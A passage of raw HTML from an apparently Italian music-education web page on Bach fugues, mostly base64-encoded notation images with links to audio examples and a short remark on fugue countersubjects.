AeE5e2MSnXvNrGzqyo33\/eOmy+u8XFQk5IS03yQ\/AeE5e2MRLr1nUhg5rZxNBli6i+b78kbZu5AdgPCcvbOK316xrQ8c0ss\/r3FlW23352\/89yQ\/AeE5e2ESTNrR3\/\/q7YJPFD+m2iweOKrOfst6Y\/CydIoAlOGdhE0s0VQFDiq9Pjx2xPOqMyc\/SKQJYgnMWNpFup4I0VTq8VnTYpTKzcXKKAOZy8sImvjZbswJ7puFrxUxSpDQPZ2YJYC4nL2wi3WwFabOChLEBM0m+iiScmSiAuZy8cARt1mYMJJnq8nBsugAmcvLCEbRZ+zGTfFWdhJOTBjCLYxeOoMfakoEkoToJh+cNYBYnLxxBm7Ux08if7swkEggwnpMXjqDN4ig3ZxLfF4DxnLxwBG0WR7k5k\/i+AIzn5IUjaLM4St3fcTeTAEzk8IUj6LQ4Sv504a\/lAATh\/IUjaLY4Ss6A4Z8KAAjFEQxH0G9xmkTN\/zmQ+I4AzOUUBmBD75PGp2nETAIQgYMYgD2l5xADCUAojmMANmcaAYjPuQwAAExmLAEAACYzlgAAAJMZSwAAgMmMJQAAwGTGEgAAYDJjCQAAMJmxBAAAmMxYAgAATGYsAQAAJjOWAAAAk\/0PZdGsXp09XMYAAAAASUVORK5CYII=\" width=\"363\" height=\"72\" \/><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-8.mp3\">Bach 8<\/a><\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" 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KRxDRyPvOO6rXnbU8cWNwMFi1y1YG547AibH3nfDfLWqavAha8UterOb3e1yStVzHQd8xjUkMx5zzlQPn0raOOcqmFrmSPKXJO7JLrkohrXd6rkyGyCRJm5IuY3c8hfmWiJVuVqTJR8xn4qIOLML3UUhAoaaVwDxyMvX7enFL\/zKWKLm4GCRa5aLTc8doTNj7zvBnmr71pwvctEobqX9Lra5FWrZ6K+eQzqRlqf0w6Up28l7J2vNVxD5ojScm2U6JKL6q3us6KazI5JlJkrYn4zh\/yViZZoVa7GRMln7FPe0MO\/1FEQKmikcQ0cj7xq3Xaof+dTxBY3AwWLXHiGbxQ2LrKwoZH33SBvdV8OLnaZqFL3qkYXnLyCJY3rnsSgbuQ0OfNAWbJ93tYQmiJf5ojScm2UaOtFNXIC7CuzvRJl5oqY38whf2WiJVqVqzFR\/hmbdhUodRSEChppXAPHIyev227dC36L0c01fcgRPSxY5KrVcsNjR9j8yPtukLdGrghXukysr3ttlwtO3u5L6lX3DMb1IaHD\/WdJb6Omhz3rYuv2n8wRpeXaKFG1RTW4r+8gcy4kyswVMb+ZQ\/7KREu0KldjoswzNvlCUOooCBU00rgGjkdOvjfok7zgdzd9yBE9LFjkqtVyw2NH2PzI+26QtwYvCpe5TKyve22LC07e7kvqVd+Idp\/3oeOkubagsCNDDk2RL3NEabk2SlR\/q\/IkdLKeJk6izFwR85s55K9MtESrcjUmSjtjOw72wQtBqaMgVNBI4xo4Hjn53qDPLnc+RWxxM1CwyFWr5YbHjrD5kffdIG\/VqWStzj8XAQAAAACAssLfFkwUN6qzNcTF75A59rjgf7OcTZTQgZx11W16orkBj7\/bnmsLmSNKy7VRolmL6uQWvK\/xPo9PVrVc10vUl2vKChkvI46JlmhVrsZEEXswLsWpUKWOglBBI41r4JQbg+Lzm3bjNDdakOmjbkw6N2BEzPGAq6Y4KGncWPYqeK+wcZH33SBv1alkrWVdaLwURc9TqUX5T1oHcgZ+dghpY48O3m1KrqcPTC\/7IMKp+uvLHFFaro0SzVpUp\/fhhUyZiPY+5yTKzHW9RH25HstpbRlxTLREq3I1JorYg6Hx2wOWOgpCBY00roHjkaPX7aDxW6zpWULHW7PIiFEXLHLV\/AYljRvLXgXvFTYu8r4b5K06lay1pgvt16HoeSq1KH8\/dCYuV1DkpyyNidIGfqqq7uB9BnN9+kBEwX25tpM5orRcGyWataj6FnlZHcMf72GpRJm5rpeoL1ff2pteRhwTLdGqXI2JIvZgRxkRMePGNXj1jKhno7BTIhfp\/CfRN2NxkSdaXmTEkKfHHA+4ZHJ\/b3nsCJsfed8N8ladStZac2C1X4GiF02pRfnb8I+Kz80VEfY1y9dEaUM+VdVg8LO6c\/1N+qmY6dWeyjU4xrUyy07LtVGiWSune52nGR\/j8fBD4+cnysx1vUR9uSIWauaQvzLREq3K1Zgo+mIRFLwlbFzq5KttS0kbhZ0SuULbD4Tes\/UFT25XhSIjhjw95njA\/Ml95N0obFxkYUMj77tB3qpTyVoV312\/fj66nrj4p6Rdkh\/ppsd8m+UgUdpgT1U1Hvz35L3XlKRv4\/T1v6\/m159PH2a+zLLTcm2UaO4GSfa1pPFxNdpoxgvmul6ivlyzNuNgGXFMtESrcjUmitiDRUSMq+\/SHC2ogLhxjUeu0PYDP2F\/tZ2KuWqVFikyYsjTY44HTJ7cv3k3ChsXWdjQyPtukLfqVLJWuXfXb78VXdKnCuPyfqok4Xr8N2NE2Ncsr0PIH+zbquKC\/82SM9iD7fMpS0t5pyp\/\/Dx6sJkyy07LtVGiWStncLVHrGFLa5dc10vUlyviGC91XTDREq3K1Zho31upryLGdfY6ntPboCxxxde5kQvyqG3uTWDzfeVoohF1iowY8vSY4wEzJ\/cp70Zh4yILGxp53w3yVp1K1ir0QPzTlIRO1SNvzrXwayWZBeQM7Wt781v9G3wYPUXOGemnsMc7a0RHwMljTpG8LCV6jTCl2oLL0tLaJdf1EvXlitgvpa4LJlqiVbkaE+17K\/VVxLjO3r5OL+BTVRuFnRK5+Lp9qm3WjeLBbWeLSYPbpsiIIU+POR4wc3Kf8m4UNi6ysKGR990gb9WpZK3s57Mdl5zQdZN\/OewoIy5pUOSDLEva+7aq3Rv7mvRt3uOfdzuoYdZKrrNUrpdro0Sz5n3J4jlmae2S63qJ+nJFHMKlNqaJbon26bqsey3RBrsXeiO09qYrItfbEb0mSh5sUKLQhTEeIfmoP7WYM9deo1kZNyqyL+DXdNUCdrduPO\/IdzNnLTSysKGR990gb9WpZK0q766\/fjehsOOCgwp4mystb1zw5CxnRS+qoMjHSd\/mPf55t4MaPn2+sS3d2YNkpkvLtVGiWTOevGxaWFq75Lpeor5cEcdvqY1pog+C1Lk037l7QXuwwswGZTkYy5LV+1v4MU1c5MxV1LGYI2prqeRUkSOJtijyVMD2vNUCBo20JW\/HV5bM2iO7sDds76oN8ladStYq8bag5euhhR38KuE0zD+CH6lD42dmOWvHK9zXpG\/zHv+8z3ENnz75tS1Tapjukrk2SjRrujPnsZGltUuu6yXqyxVx9pbamCb67derXZfv3L25fS41uaEpvo5oo0WVHHZK5IQlNLKYI2o7Vc9xeVNS7FvkiOkxxwMGjbQl76kPL5y1joKFLRJ53w3yVp1K1lr\/qr8xQmhtB7+KPhCXHMGP1KHxM7OcteMV7mvSt3n\/\/vzvB44XXt+aPP7MwXenVzJR5mxeb1DjiWbNdeY8NrK0dsl1vUR9uSIO3lIb00Q\/fbHmdfnO3Zt4Qaw2uZnT+pp6i0W1JOyUyKEdHl\/MEbX1VdVYyazIWxQ5omDAiGE25m382PJZO1WwsKUi77tB3qpTyVqL3xa0Rwit7eBX0afh20Q5WyVnD9TcadETGhT5OOnbvJ8W1cGu7F6Qxx9r32iz6pkiczavN6jxRLPmOnMeG1lau+S6XqK+XBEHb6mNaaL\/fqvsdfnO3ZvS5JqTmzmta1MHpYsbxawlN6WYt5EHF3NEbXH7a8qQNypyRMGAEcNszNvymQqz1l6wsNUi77tB3qpTyVoZj6THD5fQw+hT5JzT8FOuhAWaswdq7rTQDi8Z8tOIvm66g43ZvRqPP\/n2V2fLOFvSuLREmbk2SjRrrjPnsZGltUuu6yXqyxVx8JbamCb68ZXK1+U7d2+8yWUnN3Nan\/Impw5KFzeK8chBTZ61mCvUljzkvoCriuxWMGDEMBvzfv1AkVlrLFjYgpH33SBv1alkrWVvCzqCxJV38KvQo\/BTrpzVeaUsZ4U2ecmQz17R\/\/3fp77SWMPBb\/tqHi9sRFqizFwbJZo115nz2MjS2iXX9RL15Yo4eEttTBP9u8N1+c7dG2xy5cnNnNa1eYMyxg1kPHLE+pm4mCNa9xP2R9aUIZ8Nu7zIPgUDRgyzMe\/xb+vMWkvBwtaMvO8GeatOJWtlPwTvPll+3l13Z1V48KvQo3Bhul9vC3Y7go8znr2iP\/3f4zv091tXX3\/VXvasCjtkzub1BjWeaNZcZ85jI0trl1zXS9SXK+LgLbUxTfTvDtflO3dvsMmVJzdzWv8mzc8blDFuIOORI\/o8cTFHtO5vzFm7aeKQG4NXK7KjmGoBI4bZmPf4t3VmraVgYWtG3neDvFWnkrU6\/1wEAAAAAADKCn9bcCL0WIkJg\/\/9\/NZoPHKfzIxXynJWaJOXLJizuyOiyOOuPv2qY4NP35KZuRrrkeg1wpRqM+exkaW1S67rJerLFXEeltqYe01048XrVK7Ga+Laa+WduzfS54TyBlOPpOgubHrAVSPtCNtY6njB00fd2OfG\/kfMyPSYc4ccJK3IxmjTBz4eMHM6nvIe\/Cpn1trTHRc8IqjgOtWujTweNq6ZHepUslbFtwWN23LKdn37+YT9f1xSTtIrZTkrtMmZQ+7eFBFFHnf16Vdpe\/yg1LR07VVJ9Bph1oyPB5nL0tol1\/US9eWKOA\/7AgadzLtMdNwV82zkviyD7ty9kVYnlDeYtDvLSG1zoy0c6amwp6odL3hhq1vGEjEj02POHXKQhCLXjn08YPKM\/M178KvoWetLNDzo9zUEFby82gqRx8PGNbNDnUrWyn5b0Pets04VeVzAuTFPkpM6Z3Q1d1pohzOH\/HULfBppRJHHXX36VcLuPigyOWl7bRK9RphSbdqQ22WWtNGMF8x1vUR9uSIOw76AQcdy\/YmOvn71xU8+Xe\/cvZFuJ5Q3nq4v10iFs+IsH2ljzCXVzh1y3xAOalg4HacCLpm7OkVWGP54wPxJeeQ9+FV0byvM3aOSjQoOakJc5PGwcVPfoU4la9V6W9C3OUd27OuHQ7d9d1VBWaJTpGU5K7TDmUP+uuwPfh5UzEGRb384fVN\/rXBJ6sbyJHqNMGvqx4PMlVnSRjNeMNf1EvXlijgMjwN+yhh0LBef6ITrV2jwWe7cvZGeJ5Q3kmswY1+Fs+JUGGlLzFXVzh3y9CGsmo6zAZNnrVSRHZEjmjAecOHUHPwqtKtF5u5RzEYFBzUhLvJ42Lip71CnkrUCV+HZXdS9OUc27dMnQ\/f8KQk15IxxeSffCm1v5pAfuT6N6ODnEcV82k2vZURs55by+oxnb6xQotcIs2Z\/PMhcmSVtNOMFc10vUV+uiMPwOOCnjEHHcuWJTrt+xUWe5c7dG2l76MBHEk1J2lfklCBFRvo15sJq5w75X6iJ9S+Zjo6AmVOWU2dEzNA+jAdcNTvHSeNaWmfuHvVsVHBQE+Iij4eNm\/oOdSpZq8rbgpYd+BpkfNP+\/WTcbm+v5Hi80zPGBU\/OclZob5cM+dOIDn4eV0PLljz+5NmN3Fhbtyk1tBQp0WuEKdWmDbldZkkbzXjBXNdL1Jcr4jA8DvgpY9CxXHaik69fda6Jn8o7+\/nLdG\/k6z8pN13dfR5PfbbIKUHqjPQ45tpq5w75EWpW5fnT0R0wYbKmlDqxyJZoad0YD7hqjr4mjWhmqbl7lLRRwUFNiIs8HjZu6jvUqWSt6m8LXj\/T\/t2WOX58LG6rt0g+fR5JgyLnZznrAo19TXqwO97+PKiGxpX89\/9NWPZfa1uyB1+LlOg1wpRq04bcLrOkjWa8YK7rJerLFXQyd2QMOpbLTvSS69fCS+GxO3dvsKTo8j5Fju52X5FTgtQZ6XHMtdXOHfJTqPGC86djMGDOiho0q8i1S\/e1mPEISyarMencHpaau0dJGxUc1IS4yONh46a+Q51K1sp7W3Dqw58+fxCnb99G7\/MWSw6gX28LdjuCvyZ9m\/fg50E1NC7jzC61bLGc3XccP60nGyWaNQWZ661R8ha4WKLMXNdL1JerbzOOHHqfMk4\/mVuK6Yj2aeCnEp24Vh22ei+699ZIVQnD2aLbU9KtGulBtIOwq6p9KmA8ziParFBBASNiRhRZX\/7SPY4zPgtz98KpvPkZk+fuIO\/f325U8EjYr0lrhh1s5lx1Klmr6NuC4082BmlZcOObfFDbERRSYc6oa+600ElfMuRPIzr4eVANn1bvU8bMLrXvsqCt15glrScbJZo4BeNB5kreAhdLlJnreon6cp3ajFMOvU8ZZx0Lr2GnBGkc+9yA44kq0L1jI1UlDGeLbk\/JlTzSwbDJ1X4qYDzOI9qsUEEBI2JGFFlf2tJtjDY+C3P3wqm8+Rlz5q493W+ltwVBYduz1wwbOuqz6lSyVsW3BV8\/2Z706zQvX5SNh0VEkTkDr7nTdjyCvyZ9m\/fg50E1fFq0x\/9vqPZdNn3fJadrr2qXRLPakrneGiVvgYslysx1vUR9uRo348RD79MH\/v58YtMGQwUd9Wf72ZdlOd1rMVJYwojqd3tWurSRTomcVu1xAVNC\/W7yIH6LIutLWLrJO2LuXjiVNz9j9Nz1Jdqr4FORT9VQM2zoqM+qU8lal3pbcDbv7+p1cOq8mF5qzthr7rQdj+CvSd\/mPfh5UA2fIj\/9PLNLZzfalB2Xn\/FUbbskmtWWzPXWKHkLXCxRZq7rJerL9XUzTj\/0Pn2zTxMAAA8CSURBVH0g6NjsDjV94OPBJ7Ylmu61G6ktYVD1uz0rXcJIJ8ZPqLZlLBOjzQoVFDAiZkSR9YUu3SWbYu5eOJU3P2N0h+fG367gEWXDxg25Q51K1ir3tqAl8qy8y509F+YOJ6c5NacgdG0sGfLZEeUX+ZQxs4AT1+RJ50ZHxtA1+VreLolmtaXgQZS8BS6WKDPX9RL15TrejBGH3tMHoo\/NvlARAx+M3zGKVXTvlJEKE4ZWv9uzkkaPtCP+QZboahuHMzHarFBBASNiRhRZX9zS7Yg8ZRlH7K\/GvPkZQ3s7fQa3K3hE2bBxQ+5Qp5K1vC1YKe1Q+JT9MlnOCm31kiGfHVF+kU8ZkwvIvDCfyrVk+2+UaFZbCh5E1zvtMxNl5rpeor5cB5sx6NBLPja7ezJ94CNZzg5hId07a6TInNFV7vbcvHEjPRW5MVFcte0jmhhtVqiggBExI4rcQsTSPRVz7u4I2mIteZckDWps0AxuV3C3smHjhtyhTiVrBXahb3M2hp2Sd7mcE+Eg+2WynBXa7ZpDfpJf5FPGJQUkXJJbsoQW0FjkLokmzst4kLkyS9poxgvmul6ivlyfNmPQoZd\/bJ4NFTTw7lynAi6nex1GSk0bY9luT08dMdKWmH3pIqo9NaiJ0WaFCgoYETNuduqbu3T7dtasPRK60Y7z5if93e2Q3LHgPmXDxg25Q51K1vK2YKWcE+Eg+2WynBXa7ZpDfpJf5FPGVV2KvhK3Xfo\/mljJcZG7JJrVloK7MrOkjWa8YK7rJerL9WkzTj\/0Vh2bZ0NNH3hfxo44Feheh5GakwdbrdtxNcwd6dCuaP4jOnle5maZXnDQqigecDuzlm70FmvJPhikL29+0r\/ZJ3YyYQa3K7ijpJph44bcoU4la2W\/HwMAAAAAAKKFvy04F725uFMDaAzV15FkC6vNSVdzCkK7XXPIT\/KLfMq4RZfOSj6+R2qYkqulmPEIU6otuN4yS9poxn+b\/0XgvQaVliiue283Y+OBc1BJ3xBO1d8YbXrMKcVfku71GRn+nfu2i6vui7nlTR9pROu2KPKGlm+xiK26+\/lwyvIZLF5wY8ygVoyHXTVNb9WpZK1ybwtaJub4Y4PbLN+qanPS1ZyC0G7XHPKT\/CKfMm7RpbNaLtIHF+\/M7OPpGksajzCrOeNB5sosaZcZz981jVVtkSi6e2+\/dTZpSwFfP99e\/6ySxiP3Zbkq3esz0oGbt24LV90XcyucPtiI7m1R5A0t32LT98I1joh2y2ewbMEVujEeduFMvapTyVpJ\/2OFLXPfvnyPPxa9EyIsqTknV81ZCG11zSE\/yS\/yKeMWXTrr7KV61q5fkrSxsPEIU0otuN6ud9qPJCq7hn91779ZpqQ+zv71ky31R\/ckYuD3oXt9Rpqge\/VddV\/MLXL6eCMauEWRN7R8i82KdsmDosXyGSxYcJ2GjIddO1lP6lSyVtIDo8aleepjX3PtNcf5NefkqjkLoa2uOeQn+UU+ZdyiS2ctuVp3JE07asazTOzSeJC5rnfadyeqvIZ\/de+\/icaztyQ6yHjw85GqzvYkNPjl6V6fkVboYX1X3RdzS50+6og2blHkDS3fYlNidoxio+Pi2Hajji64I35cW8bDVpiyhzqVrFXrbcHfz3\/9zJRcpSRXnpOo5kSE9rnmkJ\/kF\/mUcYsudUi+VJ9KNz17S3njEWY1ajzIXJklVb6sFF\/Dv7r331yDNUzMePythJ7ERb4D3esw0g1t3MIl98XcaqcPPKKTWxR5T2u32HjYU\/VvemIc227IcQWfipzQmfGwdWbt16n7f\/L+Bj67Oo8\/\/PZX0XsgQWb9V8pyVmiTaw75yfIilxcQJ+0iffrWIKCGrxWOR5hSasH1lllSWq6zieqv4V\/d+2+67krOpjvIOFjJ9J5MH\/hN6N5ZIz3RzF1cb1\/MrXn68CP6uUWRt7Vwiw0Gb6n8MufGge0GG1Hw2FrwtuC7OpWslfq0YuICfRun7BlxVs4QcrpUcy5CO1xzyE+WF7m8gGgJ1+aCNwqvFY5HmHXJGA8yV2ZJabnOJqq\/hn9177\/pztZzNktLxoPIyT05SNoX6oZ0r93gKp1bDKGutC\/mFj+9DxGN3aLIm1uyxQazNN3HfDZxIBVsN8a5BRdcDONhS01inUrWSu3CxDX6GmSXk6KOnEbVnI7QdVJzyE+WF7m8gN3VuUs4iF\/nvqHgesssqeaM11nDX+ucG23T7iW3\/SDj8c8zewKZRhaqFc4qcw\/Y6Ss5YmtsUST5Bs9wdzj8s3AxHAQcX2al1mqdStbK7sLclTo97K3k9KrmjIQulZpDfrK8yOUF7G7hjcKpAqZkmVLteJC5MkuqOeOnV+3UpXWqzilBdu9ectsPMh7\/PLMnkGlkoVrhrDL3gJ2+kiO2xhZFkm\/wDHeHwz\/5iyFnmZVaq3UqWWtNF6YsqcfXHYV9ctpVc1JCV0vNIT9ZXuTyAnaXfJfQnXpKrsEgv73\/Gy\/jeY9ThMafmCtoxk+FnbuuTtG9vxn7vjs34\/HPM3sCmQb379xioNHcM3b6So7YGlsUSb7xezB3OPzmLobMlVZqudapZK1lXRhfWHNX5w3lNK3m1ISumZpDfrK8yOUF7O787cGEo3JVxpEIjzhL8h6nCI0\/JVfojPcFz+zbo87uL16pe\/nN\/5Tx78\/\/fiC\/J5BpZLla56wy95idvpIjtsYWRZJv8Ax3h8M\/OYshf72VWrF1Kllr\/RPD7rU1a13eVk7fas5O6LKpOeQny4tcXsDukq\/ffRnH887aqp+CfIqfcGXJ3AJ9uaJnPHktddO9vxkHg0zJ+Glc+T2BTCOL1mpnlbmH7fSVHLE1tiiSfINnuDsc\/klYDB0pxlddqXVbp5K1SnTh1CKbuCJvLqd7NecodPHUHPKT5UUuL+AC0i7eZ3NNTD1rq34K8il+wvUlcwt05MqZ8bSFNEL3\/qYbj9OdsWVoyT2BTCPr1oJnlbnn7fSVHLE1tiiSfIN7wR0OD6GL4VTwiQuv1NKtU8latbpwdiGaxRE53as5R6GHUc0hP1le5PICriH6st2eJaiAiUM4FT\/0iDguqUKuzBmPXkLjdO9vrlnR2jOeHWBmTyDTyOq17Fll+pVoVqiggBEx7d9rGN8L7nB4CFoMLWGDll+pBVynkrU26MLBuim1pLaT07qaExS6cmoO+cnyIpcXcCXTr9Yt8fe6bzh7EUm4uGRugbO58md8+sqZSPf+Zpke9jhdd8dyegKZRpax9c8qc4\/f6Ss56HJZPCBLzNoL7nB4mL4Y2m+\/g1KPRJioTiVrpf6bKQAAAAAAQILwtwWl9I35DoKWS18lCVlK2WLIy4tcXgCNkq9JcRUefLf953PLnhKkZeCncp2e44Y+16R7NWkXTGe\/cA3TV3LE1tiiSIAnN\/kr5mLDCbV3F0zkq2pb+oYTtMWQlxe5vAAanTpSkk+Y8WI+\/ervz4MGMhg2bi7ORu7LspbuVaZdMJ0twzVMX8kRW2OLIgGeXP6vmOuNKNr2XTCRDzU39g0naIshLy9yeQE06jtYoud3VknHPw8dS3fY6Onoix\/Upel0r76vLdIxOMuW4Rqmr+SIrbFFkQBPLvxXzFXHFW37FpjIf8ru7RvOzhZDXl7k8gJoVPNUmXXcPf08c0R9YSeOfWKKjoEsoXtb+NoffYOzbBmuYfpKjtgaWxQJ8OSqf8V0jGuj0YXavgUm8rf2vzR0w9nZYsjLi1xeAO2qHSkTj7uFg+oIO3fssxKdHcUqureLR1s+tUjr4CxbhmuYvpIjtsYWRQK8ut5fMadGtOMAQ5VowcismMiRDZDQuhvOzhZDXl7k8gI4pcJh0lhGe4XdX5w1lrOfnzj2KenOxlxI93b0qVEaCGfZMlzD9JUcsTW2KBLgrSv9FXP6T749hxln\/RPDwbkxkcX3wA1nZ4shLy9yeQF0WH4dnXXcdX9x7ljOfn7K2MeT9oVaS\/d29KljOgln2TJcw\/SVHLE1tigS4MA1\/opZ8gfglaxswazpufNE2gD0Wb4SLD\/OmnjcpR2SBzFPBZ849hvSvU196r95gbNsGa5h+kqO2BpbFAlwbf4AHLesCxMn6c5zaQ\/QZ\/lSsfw4a+JxF73sp8fvHfToQK5B9zb1qf\/mBc6yZbiG6Ss5YmtsUSTAtfkDcNxF3hbcdjptAPqMrJwpy8kK5KyJ6\/Prx\/pW9dkil4z9hnRvU5+mwNTAWbYM1zB9JUdsjS2KBLg2fwCOW9OIuVN15xm1AejTvXJmLTmLkLNmrb3XUJ8+kFBe\/thvSPc29WkWzA6cZctwDdNXcsTW2KJIgGvzB+A4bwv2ZvXTp2PlTLe6B2xm4hp7\/OrTx84u0ehdEBf5DnRvU+YCZrGVuIaOC\/o1rG48wGactOMu8rYgoeaybAA6nFo2QVb3gP1MX2CfPnlqiebsgqCwN6F7OzIdMIutxDWcuppfyerGA+zHMTvI24IrsPo569QeDLK6B2xp7tL69Pn2OJm7YHrAW9E94Lacb1zD0C3XzlY3HmBLDtgR278tMMEPlj7tTu3BIKt7wMZmrahPX3z9eZ1NMWvs96R7wA056LiGwDuw2lY3HmBjztU+3hYAa26+Vw8atnxbAACnuL5wDTk3YwWtbjwAt7Ps2jPl0ujyCTnc+HJJn5Zi4xK1BQCozxWHaxi879rX6sYDcDsbvy1w+YQ63Piyo09LsXGJdix76x+AZC46XMPIfdfWVjcegNsp\/bagJUJOtcAgd70U9Gk1\/v35wXL1Vx8A9bnucA3d911bW911AO5o5eWn+6Lo2gnAuE+XksZLkj\/5AAAAgCtZ\/OSi40mKZy4ATPF0Nel4xO9VAQAAAHAZ6x9etD9J8cAFgImmPOX3ngAAAAC4hiqPMPyDmQBkarzuNF56XLMAAACA3dV6luElAQDR2t8TuAYBAAAA9+EhCAD34j0BAAAAwCuPQgC4F68KAAAAAF55GgLAvXx9PeBtAQAAAHBDnoYAcC9f\/x0CbwsAAACAG\/I0BIB7ebwJ8LYAAAAA4MHTEABuytsCAAAAgAdPQwC4KW8LAAAAAB48DQHgprwtAAAAAHjwNASAm\/K2AAAAAODB0xAAbsrbAgAAAIAHT0MAuClvCwAAAAAe\/gcjxa5cex6y0QAAAABJRU5ErkJggg==\" width=\"743\" height=\"69\" \/><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-9.mp3\">Bach 9<\/a><\/p>\n<p style=\"text-align: justify;\">A volte le Fughe hanno uno o anche due Controsoggetti, ma capita anche che ne siano prive; in certe occasioni un Controsoggetto viene in seguito trattato come un Soggetto a sua volta.<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAA+UAAADPCAIAAAAcfucQAAAZtUlEQVR4nO3d25LkuA1F0fr\/n04\/dEQ6pypFgRSIcyDt9eSokogLKQndHnt+XgAAAABc\/agTAAAAAHCIeR0AAADwxbwOAAAA+GJeBwAAAHwxrwMAAAC+mNcBAAAAX8zrAAAAgC\/mdQAAAMAX8zoAAADgi3kdAAAA8MW8DgAAAPhiXgcAAAB8Ma8DAAAAvpjXAQAAAF\/M6wAAAIAv5nUAAADAF\/M6AAAA4It5HQAAAPDFvA4AAAD4Yl7P93OBOvd8a\/UOrg\/2MPcyAAAAFcaRjeJj3+2nw7U5eHxLcMHcywAAAIoxl+wVn\/9uPyauTcPjW3L\/OMSwDgAADDGa7MW8\/ml5Xr+4IPM6AADoi9Fkr6kR8PaT4sJfsY+vZF4HAAC3x2iyF\/P6L7MNYV4HAAAPx2iyFyPgL8zrAAAAUxhN9mIE\/Gtqek5cinkdAAB0VDGa\/PzX2l1Np6jT5L\/+6rT2qeYsd3LTFkxNz4lLZV0GAABQafto8nfmi8xDvy7rO0idZj7+1fj2+AVHdx3dPr7xKOGg4EmoH8T7HjMAAHBje0eTo7E7MqQGf24uMk8v3z6+YO1X48TSR\/bZBNbyYV4HAAB9bRxNFga+i9OtoStDc+Sa0\/XHd6UP+kHM6wAAAEHVo8mVibzjOPUTELl99oLlG5d\/NevKSZjNh3kdAAD0ZTSvXxkxbV2cfZ85r8dDMK8DAIDb08zrg189Z15\/X3Dx9vR5\/fSWrC0YJ39lha2XAQAAVCodTS6Ojx3HqRvM659XFszrU+szrwMAgNsrGk1SZvGO45RqXj+9Nz6\/TuUz5efDVGKz+TCvAwCAvraPJlmj0tfZzt\/FnDfN68vLpm8B8zoAAMDYrtHk55vI9csXeBLO60e\/vbLm7nl9dnHmdQAAcHt7R5P4yM68vnZ7\/ILILpwuuGMXPtdkXgcAAPilYjSJDIvB37abpbTz+kJo5vV2ZwwAANxb6f\/edHn07DtICef1tbj18\/rrwp\/HmNcBAMDt1Y0mkWHo6zXLw5yDrfP6oDPLcU\/\/AMC8DgAAUMlrXn\/9d3T7pSbPXNeT\/7rC+ydHXRq0cdzVo18dRVmu67TGxBtzLwMAAKhkN68f3dVxihpPxmuL\/J2Yv4Y4umuw1PjexIoGZS7ccppM7mUAAADFrOf1pvPT7Hw8u+bfn6+lMUhp8NtNOxJfM1hL7mUAAAAq1fP67PXMTMuCraPDAAAAzqr\/\/2Fmr2eUXDPb7a3JAAAAYNmu\/yPtr7+6vg6CmNcBAADuYcu8\/mtYjM+O\/LV6iqke0moAAABnG+f1qeGbST3RbOcLUgIAAMCajf\/im9lJPTeTJwvuAm0HAADwx7h2W4P\/uoNJHQAAoAuGtptjUgcAAGiN0Q0AAADwxbwOAAAA+GJeBwAAAHwxrwMAAAC+mNcBAAAAX8zrAAAAgC\/mdQAAAMDXfeZ1\/m\/FAQAAcD83mXH5NwEBAADglu4w4PIv7wQAAMBdtZ9uf\/5QZwQAAACkaT\/d\/p3XGdkBAABwG71H26\/DOvM6AAAAbqPxaHs0rDOyAwAA4DYaz7XM6wAAALi9rnPteFhnZAcAAMA9dB1qx9M58zoAAADuoeVQe\/r36PwVOwAAAO6h5UQb+edemNcbifzTTfzDTgAA4Jlazj3BuY3BrouFeb2AuisAAACvV8d5PT5RMXV1oZjGLagbDwAAGug3McTHHUaiLhSj8lOo9xYAAFzV73Men0UYWbooH2Ixoj4OAADgP\/p9m+NTBfNHF4qhFCPqEwEAAP6v2Yd5aqRg+OiifBzFCfWJAAAA\/9fswzw1UjB8dFE+juKE+kQAAID\/a\/ZhnponGD66WNgjwQz7JDt2GQAArGn2YZ6aJxg+ujDcI8GM7ETdfgAA8H\/NPsxT8wTDRxeGe1STUv0gHlRQOwAACGr2YY7PE8wfjRhukDalxOjM6wAAdNfswxwfJpg\/GjHcoNvM6x2j80cLrOGEALirTu+y+PuX93Uvhnskn1mfHN2HsA9YwI4DuKtOr6f4K5VXcC+Ge6RN6eHRn0PY51ti7wDcVaeXTvBFyYu1HcM90qb08OhIIdxEFXXLv1N3BcAddHqVRF5\/vC47MtwjbUoPjw4J4aZnUbcwgbqFAEx1ejtE3mi8ATsy3CNtSg+PDhXhvqdQ96+UutkASnV65k\/fU7zXmjLcI21KD48OFeG+p1D3z5R6WwAk6PQkj98+vK36MtwjbUoPjw4V4b6nUPfvDtR7COA78b+WBQAAAHgO5bxe42ud6U3BW00PDbdJmxLRTaLvelW7WuvY2o07XM9E2n5rKRu0dTskGT4HTZZr1v2vJ4ZneJ+aHhpukzYloj8k+tQ4UmC5hPTOrEnPZLCgcp8Uchsb1D3\/O6GNcs26\/\/fE8IhuVdNGw53SpkR0oqesVjDTWL1p0zNJWXBhIwxd74Nz6yTV9UKj5Jp1\/9eJ4SHcraaNhjulTYnoRO8S3epNm55JfWlpE2i24j5YdUNSuxtaIdes++8Ts\/sZ42j+U9MHw1ZrUyI60btEt3pVpmfiU9rbO6XLU+gcVbH+JJ2p96hiPfXrfs1TxNH8p6YPhq3WpkR0oneJbvWqTM\/Ep7S3hZQuzqPCLU7JXE7SunR3qqWpft2veUI4mv\/U9MGw1dqUiE70LtGtXpXpmfiU9rY7Jauhc2Yq7krS2AW9sr2lZt0vewA4mv\/U9MGw1dqUiE70LtGtXpXpmfiU9iZJSdWHX3GvjsYNSdr+lVs+D9Sp+5VH\/N5H0+2VYdhqbUpEJ3qX6FavyvRMfEp7k6Sk6sNU3Nnv2g3s6\/xReysj4pc23S8+wfc7ms5vB8NWa1MiOtG7RLd6VaZn4lPamyQlVR8S46Z8AXvJat1nA3PXxJQe3a8\/oLc5mvnvgA2dMWy1NiWiE71LdKtXJa+mOwWtjLvpQ+lsrUU7mo+gBt3fd\/5OgyYuWCn\/yd7cdsNWa1MiOtG7RLd6VaZn4lPamyQlVR9Mii3+pEpE2hK5DPu4dz\/xtC3EzV2zQHqLPm\/c13\/DVmtTIjrRu0S3elXu+BDkLnidJCVVH1oUG59SzEXKvNBXXOXb\/cRzthw9fdmtdvRkvFRWRMNWa1MiOtG7RLd6VaZn4lPamyQlVR\/uUezUMCMUqSK3M5ji2\/2sQ3Yl+o6Vd9jXiviyV3IwbLU2JaITvUt0q1dleiY+